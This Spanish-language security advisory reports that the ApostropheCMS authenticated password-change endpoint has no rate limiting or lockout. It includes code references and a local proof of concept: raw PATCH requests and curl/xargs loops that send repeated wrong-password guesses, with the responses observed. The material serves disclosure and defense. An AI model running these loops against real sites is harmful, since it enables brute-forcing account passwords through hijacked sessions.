ApostropheCMS: La falta de limitación de intentos en el endpoint autenticado de cambio de contraseña permite adivinar la contraseña actual de forma ilimitada

Resumen

El endpoint de autoservicio para el cambio de contraseña verifica la contraseña actual pero no utiliza el contador de intentos fallidos, la limitación de tasa, el retardo ni el mecanismo de bloqueo de cuenta del módulo de inicio de sesión. Un atacante con una sesión autenticada válida puede enviar conjeturas repetidas sobre la contraseña actual sin recibir una respuesta de bloqueo o limitación.

Ruta exacta en el código

packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

La ruta de cambio de contraseña es: PATCH /api/v1/@apostrophecms/settings/password

La ruta invoca directamente al verificador de contraseña mediante: await self.handleProtectedSubform(req, subform, req.body );

La ruta de verificación de contraseña es: packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

async handlePasswordProtectedSubform(req, subform, payload) {
  try {
    await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
  } catch (e) {
    throw self.apos.error(
      'forbidden',
      'apostrophe:passwordCurrentError',
      { path: 'passwordCurrent' }
    );
  }
  return subform;
}

El verificador por sí mismo no incrementa la caché de intentos de inicio de sesión ni aplica retardos: packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

En contraste, la ruta de inicio de sesión llama explícitamente a checkLoginAttempts y addLoginAttempt en: packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

PoC local

La prueba utilizó una sesión de invitado autenticada desechable:

Solicitud:

PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json

{
  "password": "new-temporary-password",
  "passwordRepeat": "new-temporary-password",
  "passwordCurrent": "definitely-wrong-current-password"
}

Comando equivalente:

for i in 1 2 3 4 5; do
  time curl -i -sS \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{
      "password": "new-temporary-password",
      "passwordRepeat": "new-temporary-password",
      "passwordCurrent": "definitely-wrong-current-password"
    }'
done

Respuesta observada: Los cinco intentos devolvieron la misma respuesta de validación inmediata:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
  "name": "forbidden",
  "data": {
    "path": "passwordCurrent"
  },
  "message": "apostrophe:passwordCurrentError"
}

Los tiempos observados fueron aproximadamente:

• Intento 1: 231 ms
• Intento 2: 232 ms
• Intento 3: 226 ms
• Intento 4: 229 ms
• Intento 5: 226 ms

Ningún intento devolvió una respuesta de limitación, mensaje de bloqueo, encabezado Retry-After ni estado de control de flujo.

seq 1 20 | xargs -P 20 -I{} sh -c \
  "curl --max-time 15 -sS \
    -o /tmp/password-attempt-{}.body \
    -w '%{http_code}\\n' \
    -b /path/to/temporary-session-cookie-jar.txt \
    -X PATCH \
    'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
    -H 'Content-Type: application/json' \
    --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Resultado:

• 20 solicitudes -> HTTP 403 Forbidden
• 0 solicitudes -> HTTP 429 Too Many Requests
• 0 solicitudes -> respuesta de bloqueo

La contraseña válida continuó autenticándose posteriormente:

POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Impacto

Un atacante que haya obtenido o secuestrado una sesión autenticada válida puede adivinar repetidamente la contraseña actual mediante el endpoint de cambio de contraseña. Cada intento recibe una respuesta normal y la ruta no aplica mecanismos de limitación o bloqueo. Si la contraseña actual es débil o reutilizada, esto puede permitir al atacante superar la verificación y reemplazar la contraseña de la cuenta, logrando iniciar sesión posteriormente. El ataque requiere una sesión autenticada válida y no funciona de forma anónima.